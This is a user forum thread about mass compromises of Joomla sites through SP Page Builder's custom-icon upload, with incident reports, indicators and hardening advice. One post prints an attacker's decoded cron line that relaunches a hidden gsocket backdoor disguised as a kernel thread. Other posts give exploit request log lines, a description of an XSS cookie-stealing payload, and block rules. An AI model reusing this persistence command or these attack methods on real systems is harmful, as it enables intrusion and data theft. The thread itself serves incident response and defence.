As an additional security measure, would it be helpful (or would it have been helpful in this case) to password-protect the “/administrator” directory from the hosting control panel?

Hello, I've had six websites attacked. Fortunately, I realized it quickly and they only uploaded files. What's disturbing is that the attacks happened so quickly. One day was enough for the websites to be infected.

I have found on one of my sites only this: assets\iconfont\codexsppb1bd2add5\font\codex-sppb-d1a93331.php

I have made a copy but my BitDefender has removed it.

assets\iconfont\codexsppb1bd2add5\font\codex-sppb-d1a93331.php is malware of type Generic.PHP.WebShell.X.D4821E87

I found dozens of files removed by Imunify360 (around 70 files in total). They were all located in the /tmp and /media directories. I also found dozens of icon packages that had been added to SPPB.

I first learned about the malware scripts from my hosting provider, and I'm glad they are doing an excellent job monitoring and handling these issues. Since updating the system, I haven't seen any new incidents reported by Imunify360.

My main concern now is whether the attackers managed to steal any sensitive data, such as database usernames and passwords, Joomla administrator credentials, or other information.

I have the same issue. I've found that the intruder has successfuly created power users after uploading malicious files to the server.
The latest version resolves this security hole?

So far my V6 sites are clean and patched but i have a lot of older sites with older versions (pre V6) which i cant update to the latest version because they just wont. How much of an issue are these currently?

Hi Joomshaper team, please can you specify which SPPB version are affected? I have some sites still running on v3.8.10 which are not ready for update to latest security patch.

W ukrytej wiadomości info.

I think this thread should be marked as “Featured,” considering the importance of the topic.

Are you releasing a patch for older 3.x and 5.x versions of PageBuilder for those that can't upgrade to version 6 (similar to how JCE released a patch for older versions)?

Struggling to get the latest update 6.6.2 to install on any sites

6 hours ago the attackwave started. i was lucky to had Admin Tools running so i got a notification and more lucky to see the alarm the minute it happened. in minutes all my websites were hacked. with a little less luck this would have been a disaster. Blocked assess, deleted the created admin users and the deinstall the malicious template files they installed. 6 hours additional work and as i said that was the lucky part.
edit: seems like thats not enough. :(

For those that arent aware mysites.guru clocked this one and the JCE vulnerability early doors and provided simple means to update all sites. Saved my bacon several times, very much recommended. He has already warned there is another one coming ....

The opening post contains a small error. I was clearly referring to version 6.6.1, not 6.1.1, but the forum won't allow me to correct it.
It's good to have quickly discovered the security flaw and reported it, with prompt response.

Hi yes I got that, but problem now is the latest security update of 6.6.2 wont install on any of my sites

Just informed support of an issue with the installer on 6.6.2, we used Codex to come up with a workaround.

One of my clients called because their site had been compromised. They discovered a new superuser account, @secure.local, which had been registered on June 14th. We proceeded to install the latest version of SPPB.

We checked the supposed locations where PHP and HTML files might be stored, even posting the code snippet on MySitesGuru. We searched everywhere and found nothing.

So the question for everyone here is: how was the superuser account created? Because it's assumed they first uploaded PHP files using the vulnerability in icon uploads.

I look forward to your opinions.

Regards

I have checked my raw access logs. Found only this:

Line 2410308: 45.192.213.29 - - [14/Jun/2026:18:14:28 +0200] "POST /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1" 200 457 "-" "sppb660-batch/1.0"

Line 2410310: 45.192.213.29 - - [14/Jun/2026:18:14:28 +0200] "GET /media/com_sppagebuilder/assets/iconfont/codexsppb1bd2add5/font/codex-sppb-d1a93331.php HTTP/1.1" 404 976 "-" "sppb660-batch/1.0"

So It seems the execution of the file was blocked.

I haven't found any other files. There have been a custom icon in SP Page Builder but I have deleted it.

Thanks for marking this as Featured.

I am having some joomla 3.10.12 running with SP Pae builder Pro version 3.8.10 do i have also for these to install the latest version in order not to be comprimised? i am asking this that maybe the latest version is not 100% compatible with Joomla 3.10.12 and php 7.4
Don;t judge me for having old version sites , customers are not all the time willing to pay for the upgarde
Thank you in advance

Got one site that had a login:

• User webmanager83 has logged in to admin

• User webmanager83 has installed template tmpl_dfgklc

• User webmanager83 has logged in to admin

• User webmanager83 has installed template tmpl_boiklx

updated and removed the user.
uninstalled the iconmanager files in backend (php files) and through ftp, checked all files and lookes like everything else haven't been touched or added.

Changed my Joomla admin pass and logged into the direct admin on thehosting and checked the log files. No logins/changes the last weeks. Can't find other weird files on the server. I will keep monitoring this site and when there is a login of new files I will change everything with a backup from 2 weeks ago. I will ask the host to check the files also.

Info for everyone:

Using file manager or similar tool, search for content "secure.local" inside the root folder of the website and if you find any files delete them.

Search for content "uploadCustomIcon", "POST /index.php?option=com_jce", "x.xml", ".xml.php", "g.php" in your logs folder to check whether the website was compromised (clarification: not joomla logs folder! Your web server logs folder).

Check for ".php.gif" files.
Clear cache and tmp folders.
Check for rogue users and especially power users and delete them.

Even better:
Restore site two-three weeks prior.
Then update the affected extensions (JCE, Pagebuilder) or remove them if you don't use them.

The malicious file shows the entire configuration.php file to the hackers, so you must change db user passwords in any case.

Don't forget to check cassiopea index file. I've found malicious code at the end - in hidden content for reference.
Also check .ssh folder for authorized_keys file if you have access. I've found one created in my client site.
PageBuilder vulnerability allow script to try to add task execution to crontab for future "re-infection" (depends on web config ).

Redirects are related to JCE vulnerability and are often injected in the joomla default template/s, joomla admin default template/s.

CAN SOMEONE explain whta was meant by this and what or where is this icon feature

If your sites and installed SPPB don't have Custom Icon feature, nothing to worry about.

Interesting.

Does it matter which browser. I've tested in Firefox private mode. Nothing happened.

I think that there are a lot of braindead incels who jumped on the wagon to fill their useless lifes with some meaning in making the lifes of others as miserable as theirs and used different scripts. I think i was "lucky" and they only created the Superusers and added their template files, in a few cases they added custom icons. So it varied even on my few websites and i got attacked by aroung 10 different IP-Adresses. To bad nobody visits those guys and help them step out of the window. So you may not suffer from ALL the things people report here.

Hello Stefan,
It's not enough to delete templates and users. They already have data from your configuration.php file, so database access and if used SMTP settings at least. I'd suggest to change these settings once site is cleaned from these scripts.

An interesting observation on my part: I think Cloudflare Pro blocked the attempt.

The files were uploaded to uploadCustomIcon, but the PHP script was completely blocked.

I found an empty PHP file in the root directory, thats all. No new accounts, and nothing else either.

What I can see the one who got acces only placed 2 php sctipts under the icons in my case. I scanned all other files. Also again with mysitesguru; clean. Never the less, I've changed all passwords (database and J!) and secret key in the configuration file and direct admin. Saved a backup external from a week or 3 earlier for just in case.

Is there a definitive timestamp when these injections occured?..as i have back ups going way way back on 20 sites... and if so using those backups, will updating to 6.4.2 save them from futher issues after a restore? thnx

Paul, thanks I mean 6.6.2. not 6.4.2..sorry there.. i dont have too many of the 20 with JCE, but I ill look into that as well, thanks.
I have a firewall running on my VPS and i thought pretty robust and safe enviroment on a repuatble provider, well i thought so, though they are washing their hands on helping wih this so far.. thx.

Two sites with SP Page 662 hacked.
Seems that the vulnerability comes from the Custom Icon font.
How can i remove it?
I am struggling for the root access and cleaning infected files...

thanks for your quick answer, solved for the moment

Is it possible that the attacker installed an older version of SPPB? Even though I upgraded everything, Imunify360 still reported malware on one site. When I checked, icons, super user, and SPPB version 6.6.0 were added.

is there a new vulnerability? we have a new super user despite having SPPB 6.6.2

There seems to be a lot of hacking attempts at the moment.

I missed updating 1 site, this is what happened (yes it is an AI overview, it it better at writing reports than I am)>

Here is exactly how the attack unfolded on my server and the level of critical access they achieved:

1. The Entry Point (Unauthenticated RCE)
   The automated botnets are scanning for vulnerabilities in SP Page Builder to achieve unauthenticated Remote Code Execution (RCE). They are dropping small, lightweight PHP script uploaders masquerading deep inside legitimate third-party vendor folders to avoid human detection.

In my case, the scanner caught malicious files hidden here:

/administrator/components/com_sppagebuilder/assets/vendor/facebook/graph-sdk/src/Facebook/Url/queue_1.php

Buried inside phpseclib directories, renaming core paths, and dropping file uploaders.

2. Full cPanel Administrative Takeover (API Token)
   Once the scripts executed via the SP Page Builder flaw, they ran server-level command wrappers under the hosting account's Linux user.

The Result: The attackers successfully generated a cPanel API Token with full administrative access.

The Danger: With this token, the hackers bypassed Joomla completely. They had a master key to generate hidden FTP accounts, steal database info, and access the account even after I updated my software.

3. Persistent Linux Backdoors Outside public_html
   The attack went entirely subterranean. The bots dropped a compiled Linux binary backdoor tool (gsocket utility) completely outside the website root directory, hiding it in a hidden user configurations folder:

/home/[username]/.config/htop/defunct

4. The Stealth "Watchdog" Cron Job
   To ensure their access survived server reboots, file deletions, or malware cleanups, they established an hourly cron job (0 ). The cron job line was completely obfuscated using a Base64 encoded string to bypass standard host firewalls.

When decoded, the cron job revealed an advanced Linux process-hiding technique:

Bash
/bin/pkill -0 -U1234 defunct 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/[user]/.config/htop/defunct.dat -liqD" /bin/bash -c "exec -a '[slub_flushwq]' '/home/[user]/.config/htop/defunct'" 2>/dev/null
Using the exec -a flag, the script forces the running backdoor in the server's RAM to rename itself to [slub_flushwq]. This makes it look exactly like a native, essential Linux kernel thread, tricking system administrators into ignoring it while it keeps an encrypted outbound data tunnel open to the hacker's command center.

The only thing that saved me was an email directly from my cPanel hosting service saying that a API token with full account control privilege had been created.

My ISP usually responds very quickly to requests (flushing the process from RAM), but there is a 13 hr delay for support tickets, I would say there is a large target attack happening at the moment.

I've also updated my PHP config (via cPanel) to:
disable_functions = "show_source,system,shell_exec,passthru,exec,popen,proc_open,highlight_file"

This should stop a PHP file being able to generate a cPanel API key.

Hi,

One of our websites was compromised, and suddenly all Joomla installations had the same administrator account added at the same time.

We believe that Imunify360 blocked or cleaned a significant part of the malicious activity, and we have already deleted all newly added administrator accounts.

Could you please advise us on where and what we should check next? Do you have a security checklist we can follow, covering both Joomla and cPanel?

Thank you.

Could you please share any possible fixes, suggestions, or best practices for this situation?

If this is outside the scope of official support, we would still appreciate any guidance you can provide in the hidden area.

It appears the attack didn't stop at creating superusers, as a Stored XSS + Blind XSS payload was found inserted in the helixultimatemenulayout field within the params field of a menu item in the Joomla #__menu table. The menu item was of type SP Page Builder, and the field belongs to the parameters of the Helix Ultimate template.

How ​​was the payload structured?

The attacker used the valid structure of a Helix Ultimate Mega Menu (row → column → module) and injected malicious code into the item_id field of the module, where a numeric ID should normally be:

What does the payload do if it executes?

It loads an external script from https://xss.report/c/.......... that collects and sends the following to the attacker via POST:

• Browser cookies (including the active Joomla session)
• Page URL, origin, and referrer
• Language and browser User-Agent
• Full contents of localStorage and sessionStorage
• Full HTML of the page (outerHTML)
• Browser screenshot attempt

Additionally, it saves the payload in localStorage under the key _hu_inject_js and uses setInterval + MutationObserver to reinject itself into the DOM every 500ms, making it highly persistent. It includes the character \ufeff (Unicode BOM) to evade basic filters.

Did it execute?

In our case, no, confirmed by:

• localStorage was empty (null) in Chrome and Firefox
• The malicious Mega Menu did not render on the frontend — verified by inspecting the site's public source code, where there is no reference to xss.report, _hu_inject, or the injected Mega Menu structure
• Helix Ultimate likely ignored the malformed item_id when constructing the public menu

⚠️ Recommendation

Check your #__menu table directly in the database:

SELECT id, title FROM #__menu
WHERE params LIKE '%xss.report%'
OR params LIKE '%_hu_inject%'
OR params LIKE '%localStorage%';

If you find any results, clear the params field of the affected record directly from the database (phpMyAdmin or SQL console). Do not do this from the Joomla administration panel, as Helix Ultimate might attempt to render the payload in the Mega Menu visual editor when the menu editing form loads.

That's why you must have HTTP Security Headers enabled and configured, so external scripts can't be loaded.
Also please check your database and specifically the sppagebuilder_assets table.
I've found multiple entries there, which they try to load internal scripts (js files).

I'm really fed up and have had more than enough of Joomshaper. The extension has already attracted attention multiple times due to serious, actively exploited security vulnerabilities.

They release vulnerable software onto the market; they know it, but “the bad guys were faster.” Joomshaper is “surprised” and wants to “let their team work on it,” while widespread breaches and exploits continue—no fix, nothing. As usual, they cleverly stall, point the finger at others, and give plenty of tips to keep you occupied. Commitment to customers: An announcement that SPPB 6.6.3 will “soon” provide even stronger protection.

I can only recommend rebuilding your website and uninstalling SP PageBuilder as soon as possible. I’ve taken down 6 sites so far, and as you can see here, the effort has totally paid off. The last two are going down now!

I feel you and believe me i am very unhappy too. In times of these AI-Tools that show weakpoints so fast the blame is on those handing these tools to criminals (share them with the public) and with the authorities that still treat cybercrimes as not that important.
Sure SPB had such a weakness and this one is a real mess. We had a similar bug in JCE recently and we will see more of that in the near future. It has allways been impossible to produce bugfree software and i agree that sw companies have to be ahead of this criminals, as should the police.
Your anger is well understood and i share it and yes joomshaper deserves a part of that. I have such an issue every week now, with all kind of Software an Appliances (fortigate)..and sometimes the cure is worse than the illness. I am also fed up but mostly with mankind.
As is see it, with these insane variations and attackstrategys used here..the only safe path is a complete restore from clean backups and if the whole server is comprimised, even thats not enough. It would be great to produce a tool taht at least checks for all the variations mentioned here.
Your right its no fun anymore

I opened this ticket because, reading my server logs, I immediately noticed the anomaly and immediately suggested solutions.
A file needed fixing, and that was the immediate solution.

I haven't taken any further action, but since I'm receiving all the changes, I've read the frustrations of some users complaining about the vulnerability and, according to them, the late fix provided by the Joomshaper team.
While I disagree, considering that Joomshaper immediately released a security patch, some important considerations need to be made.

While it's true that the vulnerability was present, it was immediately explained how to check if the website had been compromised.

Reading the many comments, I've realized that many have confused the vulnerability in PBuilder, JCE, and even other components.
This is unfair to the Joomshaper team, which is quick to respond to powerful software like PageBuilder (or the Helix framework).

Beyond all this, however, it must also be said that some of the breaches I've read about are also due to the poor security of the servers hosting the various web projects.
I would advise those who manage server settings, at a system level, to adopt some strategies that are simple to implement on Linux and that effectively prevent the execution of malicious files injected into the hosting space.

A mistake, for example, is to allow PHP or executable files to run in the /images or /media folders. This is a mistake, given that Joomla developers teach that nothing, even custom-built components, should be placed in those folders.
Often, when a site is compromised, these are the first folders used to write malicious code; blocking those folders is already an excellent deterrent.

Second, use server-side systems that periodically, even daily, scan all websites hosting Joomla or other CMS installations.

There are many other solutions that can protect you, but it's difficult to assume that software like PageBuilder alone is safe from all malicious processes.

No need to react dramatic, they are always knocking on doors. And yes it will be harder to secure things. Think JS response was fast when they heard of it. The challange is for the developers they are facing. Make sure you only install what you need. Why some need JCE with SPPB? You can do everything with the buider itself. But anyway, its not fair to blame JS. Blame the morons who feel the need to hack websites with very little to gain..

Hi everyone,

well, maybe this will be a little help, too?
In directories where PHP shouldn't be executed at all, an .htaccess file might help. For example, in the "images" and "media" directories, if I'm not mistaken. The file would look like this:

<IfModule mod_authz_core.c>
  <FilesMatch "\.(php|phtml|php[0-9]|phps)$">
    Require all denied
  </FilesMatch>
</IfModule>

<IfModule !mod_authz_core.c>
  <FilesMatch "\.(php|phtml|php[0-9]|phps)$">
    Order allow,deny
    Deny from all
  </FilesMatch>
</IfModule>

This .htaccess file blocks access to files in that folder whose names end with PHP-related extensions.

Regards

In my case the exploit gave the atacker an unauthenticated direct write pathway to drop files virtually anywhere the local Linux user had write permissions. Instead of using the /media or /images folder they dumped the malware into the below directory, where PHP is allowed.

/administrator/components/com_sppagebuilder/assets/vendor/facebook/graph-sdk/src/Facebook/Url/

Then they added their own .htaccess file which contained

RewriteEngine Off
Allow from all
Require all granted

Once the malware successfully bypassed the extension's upload gate and ran its first initialisation loop, it stopped acting like a simple webpage. It immediately shifted to using the local server environment to fork system memory processes (16e2277f8b31_B) and pass local commands directly to cPanel's command-line system binaries (uapi Tokens create_full_access

Where did you find this .htacess file?

I've had a website for over 20 years, since Joomla 1.5. And I've never had a problem like this. I am shocked that a super user was inserted into all Joomla installations on shared hosting via a website that was compromised. I'm not sure how many sites on the web use SPPB, but I think this will be epic and the problems with websites will be massive.

For now, Imunify360 seems to be the most helpful. It detected the attack even before this topic was posted here. I've been fixing what I can. For now, I'm scanning everything over and over again with Imunify360, I've set new passwords for the databases, cPanel.

I have had 9 of my sites compromised before the issue was reported - i updated the same day.
I have used mysites.guru for constant scanning and Claude.ai to fix and harden sites that have been compromised. I think i was lucky i never had any new super user accounts only the rogue folder with php files inside the /images folder.
Claude has scanned for more of these and added an .htaccess in this folder to prevent it happening again.
For those not sure how to get out of this mess i thoroughly recommend Claude as an option.
Count me as a vote in favour of Joomshaper (my moneys worth) - these things happen and i feel they jumped on it, held their hands up, and created a fix asap.

Hi Paul,

I totally agree. Times have changed, but I’m glad there is always a solution.

I hope I have done everything I can for now, and I’m hoping that my sites are safe. Thanks for the .htaccess advice — I have implemented it on all of my sites. I’m still waiting for more information from my hosting provider.

My biggest concern was the added super users on all Joomla sites. Richard, I have also been using AI to help me with all of this, and one of the first recommendations was to change the database passwords. The reason was that the malware appeared to be reading the configuration file for every Joomla site on the hosting account and automatically inserting a super user.

Thanks again for your help and advice.

Thank you, Paul, for sharing the .htaccess code.

Should it be placed only in the /images and /media folders located at the root of the website?

Thank you for your support.

Hi, and thank you for posting your experiences, solutions and hints about .htaccess usage.

I just spent the last 16 hours (excluding a few for sleep) recovering 4 of our websites. 2 of them I had to akeeba back a few months also to be sure nothing remained in the database, not knowing enough about how deep this had gone. But I confirmed that files were added to the root of the server, above the web site folders.
A .SSH folder was also being created, and multiple super user accounts.
As I see it, the attack started a week before by uploading many files as templates that were execuded instead of the main one, scripts, added lines but the scripts started running several days later.

This has been a crash course in internet access anyway.
I am glad that Joomshaper has experts to see what is happening and provide timely fixes.
I downloaded much of the infected files so if more is needed let me know.

I will implement the suggested .htaccess

Can this .htaccess fix be placed in the Joomla root folder, where the .htaccess file is usually located?

When we was infected we had 37 joomla websites on our server and they injected around 9500 files onto the server across all the sites.
I gave Codex full access to the server via SSH and provided it with details then of the infected files what we knew, I also provided all the info out of this forum, then between that and imunify it completely cleaned my server, put all the files in quarantine then deleted them and fully locked it down in less than an hour.
(Just to note Codex picked up some infected files that Imunify missed)
fortunately we were just about to go live with 30 websites so in a way this was good for us as it gave us a kick up the backside to get our security improved.
Now Codex scans my site every day as well as Imunify and if any superuser accounts are created without permission they are blocked instantly.
So yes Claude is probably as good but I was happy with what Codex did.
If the hackers are using AI to hack you, then you can use it to protect you.

Hello JS team, how can I unsubscribe from email notifications of this topic? I don't see any option... I get a lot of emails.

When I'm correct Admin Tools takes also care of the security items mentioned above.

Yes, Admin Tools Pro, I have set it up with Claude (Opus). Claude was very usefull last days with cleaning up. It was only one site. Took action the moment I saw the alert. Luckily the hack were only two php files in the assets folder. Think I was just in time. No further infections. Also no changes in my database. Also changed all passwords; Joomla, config file, server, ftp etc.. Just in case the have read the file.

Maybe it sounds weird but this is the reason I don't collect any data from visitors using a form of any kind. Had my share of problems with that in the past. I only use what is really needed. Always using the thought was is there to take away instead what to add...

You don't need Claude for Admin Tools Pro. Just some time to read documentation and testing.

I've been using Admin Tools Pro for the last 12-13 years. It's very powerfull component and very helpfull.

It has .htaaccess GUI maker. You just need to be carefull not to deny too much. As I mentioned above I had only one php file and it was blocked by the .htaaccess.

I always spend some time creating it and testing the site because sometimes it blocks too much but step by step and it can be managed.

I want to thank you all for sharing information.

Also thanks to Joomshaper team. Some people always criticize but the truth is overights happens and that's the part of the job. The thing is that Security is two or three way street - one from the component author, one from the hosting provider and the third one from our side.

It's not just old JCE - we've cleaned up breaches through the TinyMCE plugin (other plugins have instances of TineyMCE in them, which may be the vector). It takes a malefactor only a few minutes with an LLM to orchestrate a couple hundred bots - which we think is likely where these breaches are coming from (on one site, 7 million hits an hour hitting on whatever SEO spam was injected). As it happens, JCE is releasing an update seemingly every day right now.

Thanks for this patch - I think we all need to dial up our vigilance. I renewed some licenses.

Thank you for this useful scanner tool. Apparently, I did a good job — everything is clean. The only finding was a menu item XSS payload on one test website. Again, Imunify360 did a good job as well.

We are getting 200's on the link in the hidden area. Doesn't look legitimate to me, but maybe? We are going to be running that git scanner soon.

Is this git scanner safe?
We run it on all sites

From everywhere, including domestic....including Apple, Comcast. Widely scattered. We're going to send those requests to a non-answering port. THis file exists in every sppagebuilder we're running. Screenshot of top of the version in SPPB 6.6.2.

Fail2ban filter and jail helped me to filter all knocking IPs. Optional is recidive jail of course.

Correct. My brandnew website only with Joomla and Pagebuilder (no other extensions or Plugs) has been hacked inbetween 2 days.

Is version 6.6.2 still vulnerable, or is it now secure and patched?
We have invested an enormous amount of time, and I hope we have managed to fix everything.
@rb, do you have any other Joomla installations on the hosting account? In our case, we overlooked updating SPPB on just one installation, and that was enough for all websites to be compromised — even those that did not have SPPB installed. That shocked us the most.

We experienced a very serious and complex security incident on our Joomla website, where SP Page Builder was one of the main components used for creating and managing pages.

The website had been used for many years and contained a large amount of institutional content. Recently, the site was compromised in a very advanced way. Many files looked normal at first, but inside them we found highly obfuscated and suspicious PHP code. The malicious code appeared in different parts of the website and was extremely difficult to detect and remove.

The site also showed abnormal behavior, including unwanted redirects and suspicious file activity. Even after deleting many suspicious files through cPanel and manually cleaning different areas, we could not be sure that the website was fully clean. The compromise seemed to be deeply spread across the old Joomla installation.

In the end, we had to remove the old Joomla website completely. We are currently using only static HTML pages, with PHP and database functionality disabled for security reasons. This caused serious damage to our institution because the website had been active for years and we are no longer able to safely restore it.

We are not making a direct accusation, but because SP Page Builder was an important part of the website, we would like to ask for your technical guidance:

• Are there any known vulnerable versions of SP Page Builder or related dependencies?
• Can malicious code be hidden inside SP Page Builder content, custom code blocks, modules, database entries, or exported layouts?
• Is it safe to import old SP Page Builder pages into a fresh Joomla installation?
• What is the safest way to check whether SP Page Builder content or files were modified by attackers?
• Do you have an official checklist or recommendation for rebuilding a Joomla/SP Page Builder website after a serious compromise?

We need your advice before deciding whether we can safely rebuild the website using SP Page Builder again, or whether all pages should be recreated manually from zero.

Thank you.

Is there any scanning software that you may suggest?

Hi,
all my websites be hacked since two weeks.
all the folder :
/media
/image
/comsppagebuilder
/iconfont
/templates/system
/media/comtags/js
/media/comsppagebuilder
/media/comsppagebuilder/assets/iconfont
/templates/system
/cache
/tmp
/tmp/builderCustomIcon/fonts
and a lot of folder
they create some user, enter in the database, arrive in the folder of the server.
i upgrade JCE last version but nothing change, i update sppagebuilder but nothing change.
Sometimes i can't update the template because they aren't a new version for the last Joomla like Tixon template.
I stop my wesite , save again all my website with akeeba, but it isn't enought.
i scan all the website to find all the anormal files sometimes i have some php files with nothing inside.
what is the solution ? which sppagebuilder use ?

Since we've been through hell for the past two weeks, here are our tips that may help others. As I wrote, literally through two websites that we didn't update SPPB, and those are literally our test websites, all the other websites on the hosting (15 of them) were infected. Malware was added to several of them (like SPPB icons). And a super user was added to all of them. Backup was an option for us, but we gave up because no one was sure when the flaw was used, i.e. when the scripts were added. Interestingly, the sites worked the whole time. So we went with thorough protection: deleting all added admins, changing all passwords for Joomla (admin, database, secret key), changing login data for cPanel, we actively monitor imunify360 protection (it was the first to notify us of attacks and maybe it saved the sites from total destruction, who knows). We ran a scan with this git scanner - it again revealed some things that we didn't immediately see. We also took RSFirewall! for each website and set up a blacklist for each attack attempt (blacklist for the first attempt) because there are a lot of them (at times several hundred). For now, we're holding on, I hope we'll survive. Good luck to everyone. p.s. if anyone has any other recommendations - we're listening to everyone.

They just won't give up :O — But out of 147 websites, 0 have been hacked so far.

https://prnt.sc/qzEQ-J06xsKI

Why wouldn't JoomShaper reach out to all affected customers? At least those that had a license expire on an affected version? Why would they suggest to remove or hide posts about this issue if there is a zero-day exploited in the wild?

Many of my sites were infected yesterday, including Google Search Console takeover. This created hours of work for cleanup, and on top, forcing all owners to buy an updated license.

Received an email from JS on 22-6-26 about this. Got the notice from Mysitesguru on 21-6-26.

Hello, my website is currently being hacked. I downloaded one of the files in question. What should I do with it?

Delete it and any others, check for rogue admin accounts and update the site to the latest versions of everything. ASAP

...which is what I just did with the security-scanner file (from GitHub) as well, but I still have an options.php file being installed at the site root.

Hi zanetti, best and fastest way is to restore from backup dated before 13.06. when the issue started.
Another option is to read all the posts here and make the recommended changes or wait for help from the Joomshaper team.

It's insane. I backed everything up, wiped all the content from the hosting account and the entire database, yet that options.php file keeps reappearing on the server. Naturally, the FTP passwords have been changed.

Cron jobs (if available) should be checked too.

Dear JoomShaper Security Team,

I am writing to responsibly disclose findings from a recent security incident that affected one of our production Joomla servers.

During our forensic investigation, we recovered what appears to be a complete exploitation toolkit specifically targeting SP Page Builder versions prior to 6.6.2.

The recovered toolkit includes:

• Multiple exploit variants (exp.py, f.py, and related scripts)
• ZIP payload generators
• Webshell deployment logic
• Verification routines
• Mass scanning capabilities
• Automated exploitation workflow

The exploit specifically targets the following endpoint:

/index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon

The uploaded archive attempts to deploy files into:

/media/com_sppagebuilder/assets/iconfont/icofont/fonts/

The toolkit then attempts to execute uploaded payloads using multiple file extensions, including:

• .PHP
• .PHAR
• .PHTML
• .SHTML
• .JPG

One variant also uploads a .htaccess file intended to force PHP execution through Apache handler directives.

During our investigation we recovered multiple webshells uploaded through this attack path, including "Nxploited" variants.

We have preserved the complete toolkit and would be happy to share it privately with your security team to assist your investigation.

The package includes:

• Python exploit scripts
• Payload generators
• ZIP archives
• Supporting files
• Indicators of Compromise (IOCs)

Our intention is solely to support responsible disclosure and help improve the security of the Joomla ecosystem.

Please let us know the most appropriate secure method to transfer these samples to your security team.

Kind regards,

Dear Joomshaper team, I would like a complete list of what and how I need to check on the site and in the database. Three sites were attacked. Malicious code was found in the params of a menu item. Custom icos with malicious code were uploaded. I updated to the latest version and deleted what I found. No superusers were created. Could you please tell me what I should pay attention to and what SQL queries to run in the database? I don't have access to Infinity340. I can provide you with access so you can check it yourself.

@Martin,

Which hosting provider are you using? (You can reply in the hidden area if you prefer.)

We also got the first notification from Imunify360, but unfortunately it was already too late. The entire hosting account was compromised, including all websites—not just the ones using SPPB.

Six days later, we're still here and everything seems normal. Imunify360 went for several scans right now and we are clean.

I don't have the same logs in Imunify360 (in Defense it's set to Kill Mode), but I do have RSFirewall!, and I can see a lot of these attack attempts there. However, as soon as the attacking IPs were banned, the number of attacks dropped from around 100 to just 1–2. On some sites, they've even given up completely, and the number of attacks is now zero.

Hi all,
I managed to block it and remove all the malicious files by creating my own app. It was tough, but I finally succeeded.

Hi there!
I recently worked in a compromised website.

I've made this guide with ChatGPT, hope it helps

Possible Indicators of Compromise after a SP Page Builder compromise

Things worth checking:

1. Unexpected PHP files

Look for PHP files inside directories that normally shouldn't contain executable code, for example:

/images/
/media/
/tmp/
/cache/

In my case a PHP backdoor was found inside a directory created under an icon font structure.

2. Unexpected System Plugins

Review System plugins for anything unfamiliar.

In my case a malicious system plugin had been installed to maintain persistence.

3. Unexpected Super Users

Check:
recently created administrator accounts
disabled accounts
unknown Super Users

4. SP Page Builder Assets

Review the table:

sppagebuilderassets

Pay attention to asset names or paths that don't look normal.

For example, I found entries referencing unexpected locations outside the standard iconfont directory.

5. Uploaded Icon Fonts

If you use the Custom Icon feature, verify that every generated icon font directory actually belongs to your project.

Remove any orphaned directories containing PHP files.

6. Compare Against Official Packages

Compare:

Joomla Core
SP Page Builder

against the official releases.

In my investigation both were identical, which helped narrow the search to persistence mechanisms rather than modified component code.

7. Check Redirects

Review Joomla Redirects for unexpected payloads, suspicious URLs or injected content.

8. Review Access Logs

Look for repeated requests involving icon uploads or unexpected POST requests around the time of the compromise.

I'm sharing these checks because they significantly reduced the time required to identify the persistence mechanisms during the cleanup.

I'm also let in hidden content a brief of the incident. Hope it helps

Here is the brief

I have a word from tech support of my hosting, sent in hidden content

I have over 40 Joomla websites on my server and while they were all infected, Imunify360 cleaned the threat meaning no damage was done. I've been updating all plugins, I really hope version 6.62 has fixed the issue.

I agree with what a few others are saying here, it would be good if there were other ways to hear about these threats. I don't use social media.

It would also be reassuring to hear that Joomshaper have control of this. My host explained it like this: The attack came through a vulnerability in SP PageBuilder. The attacker exploited it to upload malicious files directly into the component's asset directories. This is a known exploit that targets outdated versions of SP PageBuilder, which is why keeping extensions up to date is so important.

The parts above in bold are what worry me. This is a known exploit.

Cheers
Scanning alone is not enough to eliminate the viruses. I had to build an extension that first cleans the infected files and then blocks the vulnerabilities and entry points that allow the malware to enter the website again.

I tried the code from Freiherr vom Stein

<IfModule mod_authz_core.c>
<FilesMatch ".(php|phtml|php[0-9]|phps)$">
Require all denied
</FilesMatch>
</IfModule>

<IfModule !mod_authz_core.c>
<FilesMatch ".(php|phtml|php[0-9]|phps)$">
Order allow,deny
Deny from all
</FilesMatch>
</IfModule>

And I tried the code from Jens

<DirectoryMatch "/(media|images|uploads|tmp|cache|administrator/cache|assets|icons|fonts)(/|$)">
AllowOverride None
<FilesMatch "(?i).(php|phtml|phar|php[0-9]?|php..*|shtml)$">
Require all denied
</FilesMatch>
</DirectoryMatch>

With both extra snippets of code in .htaccess-file, it makes the site crash for a "500 internal error".

I added the .htaccess content to the public_html/media/com_sppagebuilder/assets path as

1. Block external access to all script files

<FilesMatch ".(php|php3|php4|php5|php7|php8|phtml|pl|py|jsp|asp|sh|cgi)$">

Order Deny,Allow

Deny from all

</FilesMatch>

2. Force shutdown of the PHP parsing engine in this directory

<IfModule mod_php5.c>

php_flag engine off

</IfModule>

<IfModule mod_php7.c>

php_flag engine off

</IfModule>

3. Ensure the server does not treat these filenames as executables

RemoveHandler .php .php3 .php4 .php5 .php7 .php8 .phtml

RemoveType .php .php3 .php4 .php5 .php7 .php8 .phtml

You can try it and see if it blocks anything successfully so far.

My website has been hacked. The hacker somehow placed numerous links calling from media/com_sppagebuilder/assets/iconfont/xxxx/

I deleted the entire iconfont folder. But when I go to the front end, it still calls these links. Please tell me how to check for and remove these.

I have built a security extension that can detect Joomla hacks and automatically clean up most of the infections it finds with just a few clicks.

It also includes a live WAF feed for real-time protection, a malware scanner, and automatic extension updates.

The malware signatures are community-driven – anyone can report false negatives and false positives.

Hi everyone,
I used the security scanner and found three hidden files that I can delete, but they reappear after the next scan.
I downloaded a backup of the website to my computer (XXAMP) to narrow down the problem.
I can't seem to delete the files permanently.
Any ideas?

After restoring a clean backup, I applied some additional hardening measures to all my Joomla websites.

Enable Joomla's .htaccess Rename Joomla's default file: htaccess.txt to: .htaccess Then, after the RewriteEngine On line, add the following rule to block known malicious requests targeting SP Page Builder: Block known SP Page Builder exploit attempts RewriteCond %{QUERY_STRING} (^|&)option=com_sppagebuilder(&|$) [NC] RewriteCond %{QUERY_STRING} (^|&)task=(asset.uploadCustomIcon|asset%2euploadCustomIcon)(&|$) [NC] RewriteRule ^ - [F,L]

